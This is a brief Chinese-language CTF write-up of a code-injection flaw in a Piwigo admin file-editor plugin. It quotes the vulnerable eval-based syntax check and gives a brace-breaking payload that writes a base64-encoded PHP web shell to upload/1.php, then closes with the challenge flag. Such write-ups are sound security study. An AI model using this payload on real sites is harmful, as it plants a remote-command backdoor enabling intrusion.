PIWIGO

1.3.7?

漏洞点后台。

有个文件编辑插件

```
else
{
    $content_file = stripslashes($_POST['text']);
    if (get_extension($edited_file) == 'php')
    {
        $content_file = eval_syntax($content_file);
    }
    if ($content_file === false)
```

当修改php文件的时候，会调用这个函数

```
function eval_syntax($code)
{
  $code = str_replace(array('<?php', '?>'), replace: '', $code);
  if (function_exists( function_name: 'token_get_all'))
  {
    $b = 0;
    foreach (token_get_all($code) as $token)
    {
      if ('{' == $token) ++$b;
      else if ('}' == $token) --$b;
    }
    if ($b) return false;
    else
    {
      ob_start();
      $eval = eval('if(0){' . $code . '}');
      ob_end_clean();
```

此处可以构造拼接，来绕过 if(0){}，因为会把 替换为空，用base64来写。

```
1 echo
123;}file_put_contents('upload/1.php',base64_decod
e('PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=='));if(
0){
```

保存之后，因为目录没有权限，所以会报错，但是eval已经执行了

flag{b701c9e4-036b-41df-b325-ac4a513953b3}